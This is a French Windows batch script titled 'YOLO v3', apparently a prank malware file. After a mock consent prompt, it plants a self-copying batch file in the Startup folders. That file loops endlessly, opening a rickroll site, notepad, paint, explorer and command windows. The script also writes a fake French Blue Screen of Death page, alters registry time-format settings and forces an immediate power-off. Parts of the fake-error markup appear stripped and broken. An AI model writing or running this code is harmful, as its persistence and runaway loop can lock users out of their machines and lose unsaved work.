@echo off :: YOLO v3 - meilleur plus dur plus rapide plus fort set reponse= :q echo veux-tu te faire pwner? (oui/non) set /p reponse= if /i %reponse%==oui (echo C'est parti, mon kiki!) else (echo Allez, quoi... fait pas ta precieuse! & goto q) set troll=%random%%random%.bat cd "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" echo @echo off > %troll% echo setlocal ENABLEDELAYEDEXPANSION >> %troll% echo set troll=%%random%%%%random%%.bat >> %troll% echo set lol=0 >> %troll% echo :pwn >> %troll% echo set /a lol=%%lol%%+1 >> %troll% echo set /a variable=%%lol%% %%%%2 >> %troll% echo if !variable! EQU 0 (color eb) else (color be) >> %troll% echo start http://rickrolled.fr >> %troll% echo start notepad.exe >> %troll% echo msg * NORAJ! >> %troll% echo start mspaint.exe >> %troll% echo start explorer.exe >> %troll% echo start cmd.exe >> %troll% echo copy %%0 "%%appdata%%\Microsoft\Windows\Start Menu\Programs\Startup\%%troll%%.bat" >> %troll% echo copy %%0 "%%allusersprofile%%\Microsoft\Windows\Start Menu\Programs\Startup\%%troll%%.bat" >> %troll% echo start "%%appdata%%\Microsoft\Windows\Start Menu\Programs\Startup\%%troll%%.bat" >> %troll% echo start "%%allusersprofile%%\Microsoft\Windows\Start Menu\Programs\Startup\%%troll%%.bat" >> %troll% echo GOTO pwn >> %troll% echo ^^^BSOD^ > bsod.hta echo. >> bsod.hta echo ^> bsod.hta echo applicationname="BSOD" >> bsod.hta echo version="1.0" >> bsod.hta echo maximizebutton="no" >> bsod.hta echo minimizebutton="no" >> bsod.hta echo sysmenu="no" >> bsod.hta echo Caption="no" >> bsod.hta echo windowstate="maximize"/^> >> bsod.hta echo. >> bsod.hta echo ^^ >> bsod.hta echo ^ >> bsod.hta echo ^Un probleme a ete detecte et Windows a ete arrete afin de prevenir tout dommage sur votre ordinateur.^ >> bsod.hta echo. >> bsod.hta echo ^DRIVER_IRQL_NOT_LES_OR_EQUAL^ >> bsod.hta echo. >> bsod.hta echo ^Si vous voyez cet ecran d'erreur d'arret pour la premiere fois, redemarrez votre ordinateur. Si cet ecran apparait encore, suivez ces etapes:^ >> bsod.hta echo. >> bsod.hta echo ^Recherchez tout virus sur votre ordinateur. Supprimez tout disque dur ou controleur de disque dur nouvellement installe. verifiez votre disque dur afin de vous assurer qu'il est correctement configure et termine.^ >> bsod.hta echo. >> bsod.hta echo ^Executez CHKDSK/F pour verifier la presence d'un dommage sur votre disque dur puis redemarrez votre ordinateur.^ >> bsod.hta echo. >> bsod.hta echo ^Informations techiques:^ >> bsod.hta echo. >> bsod.hta echo ^*** STOP: 0x000000D1 (0x0000000C,0x00000002,0x00000000,0xF86B5A89)^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^*** gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd9919eb^ >> bsod.hta echo. >> bsod.hta echo ^Beginning dump of physical memory^ >> bsod.hta echo ^Physical memory dump complete.^ >> bsod.hta echo ^Contact your system administrator or technical support group for further assistance.^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^ >> bsod.hta echo ^^ >> bsod.hta start "" "bsod.hta" reg add "HKCU\Control Panel\international" /v s1159 /t REG_SZ /d "BatchMan (le vrai)" /f reg add "HKCU\Control Panel\international" /v s2359 /t REG_SZ /d "BatchMan (le vrai)" /f reg add "HKCU\Control Panel\international" /v sTimeFormat /t REG_SZ /d "HH:mm tt" /f timeout 5 >nul shutdown /p